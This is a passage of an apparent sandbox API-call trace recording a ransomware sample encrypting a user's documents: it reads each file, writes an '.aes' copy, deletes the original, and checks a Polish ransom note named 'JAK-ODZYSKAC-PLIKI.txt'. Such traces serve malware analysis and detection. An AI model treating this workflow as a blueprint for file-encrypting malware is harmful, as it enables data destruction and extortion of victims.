lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.061] WriteFile (in: hFile=0x34c, lpBuffer=0x26f06a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f06a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.061] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5834*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.061] WriteFile (in: hFile=0x34c, lpBuffer=0x26f06a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f06a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.061] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5834*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.061] WriteFile (in: hFile=0x34c, lpBuffer=0x26f06a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f06a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.061] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5834*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.061] WriteFile (in: hFile=0x34c, lpBuffer=0x26f06a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f06a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.061] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5834*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.062] WriteFile (in: hFile=0x34c, lpBuffer=0x26f06a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f06a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.062] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5834*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.062] WriteFile (in: hFile=0x34c, lpBuffer=0x26f06a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f06a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.062] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5834*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.062] WriteFile (in: hFile=0x34c, lpBuffer=0x26f06a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f06a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.062] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5834*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.063] WriteFile (in: hFile=0x34c, lpBuffer=0x26f06a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f06a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.063] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5834*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.063] WriteFile (in: hFile=0x34c, lpBuffer=0x26f06a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f06a8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.063] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5834*, lpNumberOfBytesRead=0x77cea50*=0xe8a, lpOverlapped=0x0) returned 1 [0074.063] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5834*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0074.063] WriteFile (in: hFile=0x34c, lpBuffer=0x26f06a8*, nNumberOfBytesToWrite=0xfa1, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x26f06a8*, lpNumberOfBytesWritten=0x77ce974*=0xfa1, lpOverlapped=0x0) returned 1 [0074.063] WriteFile (in: hFile=0x34c, lpBuffer=0x26f06a8*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x26f06a8*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0074.063] CloseHandle (hObject=0x34c) returned 1 [0074.064] CloseHandle (hObject=0x2a8) returned 1 [0074.064] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\8m1FCp.ots", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\8m1FCp.ots", lpFilePart=0x0) returned 0x3e [0074.064] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\8m1FCp.ots" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\8m1fcp.ots")) returned 1 [0074.065] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4e [0074.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0074.066] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe63422e0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe63422e0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe63422e0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0074.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0074.066] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0074.094] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\p2QHvHrC07x 6M.odt", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\p2QHvHrC07x 6M.odt", lpFilePart=0x0) returned 0x46 [0074.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0074.094] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\p2QHvHrC07x 6M.odt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p2qhvhrc07x 6m.odt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8310170, ftCreationTime.dwHighDateTime=0x1d30265, ftLastAccessTime.dwLowDateTime=0xbe913ff0, ftLastAccessTime.dwHighDateTime=0x1d2fffb, ftLastWriteTime.dwLowDateTime=0xbe913ff0, ftLastWriteTime.dwHighDateTime=0x1d2fffb, nFileSizeHigh=0x0, nFileSizeLow=0xc621)) returned 1 [0074.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0074.095] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\p2QHvHrC07x 6M.odt", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\p2QHvHrC07x 6M.odt", lpFilePart=0x0) returned 0x46 [0074.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0074.095] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\p2QHvHrC07x 6M.odt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p2qhvhrc07x 6m.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2a8 [0074.095] GetFileType (hFile=0x2a8) returned 0x1 [0074.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0074.095] GetFileType (hFile=0x2a8) returned 0x1 [0074.095] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\p2QHvHrC07x 6M.odt.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\p2QHvHrC07x 6M.odt.aes", lpFilePart=0x0) returned 0x4a [0074.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0074.095] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\p2QHvHrC07x 6M.odt.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p2qhvhrc07x 6m.odt.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x34c [0074.095] GetFileType (hFile=0x34c) returned 0x1 [0074.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0074.095] GetFileType (hFile=0x34c) returned 0x1 [0074.096] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0074.103] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6fd6ef8 [0074.103] GetNetworkParams (in: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624) returned 0x0 [0074.111] LocalFree (hMem=0x6fd6ef8) returned 0x0 [0074.111] GetAdaptersAddresses () returned 0x6f [0074.115] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7014730 [0074.115] GetAdaptersAddresses () returned 0x0 [0074.120] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0074.126] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0074.126] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0074.133] LocalFree (hMem=0x1c8b20) returned 0x0 [0074.133] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0074.139] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0074.139] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0074.146] LocalFree (hMem=0x1c8b20) returned 0x0 [0074.146] LocalFree (hMem=0x7014730) returned 0x0 [0074.146] GetBestInterfaceEx (in: pDestAddr=0x274eb7c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0074.232] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b582c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b582c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.233] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b582c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b582c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.233] WriteFile (in: hFile=0x34c, lpBuffer=0x2720054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2720054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.233] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b582c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b582c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.233] WriteFile (in: hFile=0x34c, lpBuffer=0x2720054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2720054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.233] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b582c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b582c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.233] WriteFile (in: hFile=0x34c, lpBuffer=0x2720054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2720054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.234] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b582c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b582c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.234] WriteFile (in: hFile=0x34c, lpBuffer=0x2720054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2720054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.234] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b582c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b582c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.234] WriteFile (in: hFile=0x34c, lpBuffer=0x2720054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2720054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.234] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b582c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b582c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.234] WriteFile (in: hFile=0x34c, lpBuffer=0x2720054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2720054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.234] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b582c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b582c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.235] WriteFile (in: hFile=0x34c, lpBuffer=0x2720054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2720054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.235] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b582c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b582c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.235] WriteFile (in: hFile=0x34c, lpBuffer=0x2720054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2720054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.235] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b582c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b582c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.235] WriteFile (in: hFile=0x34c, lpBuffer=0x2720054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2720054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.235] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b582c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b582c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.236] WriteFile (in: hFile=0x34c, lpBuffer=0x2720054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2720054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.236] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b582c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b582c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.236] WriteFile (in: hFile=0x34c, lpBuffer=0x2720054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2720054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.236] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b582c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b582c*, lpNumberOfBytesRead=0x77cea50*=0x621, lpOverlapped=0x0) returned 1 [0074.236] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b582c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b582c*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0074.236] WriteFile (in: hFile=0x34c, lpBuffer=0x2720054*, nNumberOfBytesToWrite=0x741, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x2720054*, lpNumberOfBytesWritten=0x77ce974*=0x741, lpOverlapped=0x0) returned 1 [0074.236] WriteFile (in: hFile=0x34c, lpBuffer=0x2720054*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x2720054*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0074.236] CloseHandle (hObject=0x34c) returned 1 [0074.237] CloseHandle (hObject=0x2a8) returned 1 [0074.237] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\p2QHvHrC07x 6M.odt", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\p2QHvHrC07x 6M.odt", lpFilePart=0x0) returned 0x46 [0074.237] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\p2QHvHrC07x 6M.odt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p2qhvhrc07x 6m.odt")) returned 1 [0074.239] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4e [0074.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0074.239] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe63422e0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe63422e0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe63422e0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0074.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0074.239] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0074.295] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\URm66b8mfK_B.docx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\URm66b8mfK_B.docx", lpFilePart=0x0) returned 0x45 [0074.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0074.295] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\URm66b8mfK_B.docx" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\urm66b8mfk_b.docx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c97a210, ftCreationTime.dwHighDateTime=0x1d2fb0e, ftLastAccessTime.dwLowDateTime=0xed75f9f0, ftLastAccessTime.dwHighDateTime=0x1d2fec5, ftLastWriteTime.dwLowDateTime=0xed75f9f0, ftLastWriteTime.dwHighDateTime=0x1d2fec5, nFileSizeHigh=0x0, nFileSizeLow=0xd8c1)) returned 1 [0074.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0074.295] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\URm66b8mfK_B.docx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\URm66b8mfK_B.docx", lpFilePart=0x0) returned 0x45 [0074.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0074.296] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\URm66b8mfK_B.docx" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\urm66b8mfk_b.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2a8 [0074.296] GetFileType (hFile=0x2a8) returned 0x1 [0074.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0074.296] GetFileType (hFile=0x2a8) returned 0x1 [0074.296] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\URm66b8mfK_B.docx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\URm66b8mfK_B.docx.aes", lpFilePart=0x0) returned 0x49 [0074.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0074.296] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\URm66b8mfK_B.docx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\urm66b8mfk_b.docx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x34c [0074.296] GetFileType (hFile=0x34c) returned 0x1 [0074.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0074.296] GetFileType (hFile=0x34c) returned 0x1 [0074.296] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0074.304] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6fd6ef8 [0074.304] GetNetworkParams (in: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624) returned 0x0 [0074.311] LocalFree (hMem=0x6fd6ef8) returned 0x0 [0074.311] GetAdaptersAddresses () returned 0x6f [0074.316] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7014730 [0074.316] GetAdaptersAddresses () returned 0x0 [0074.321] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, 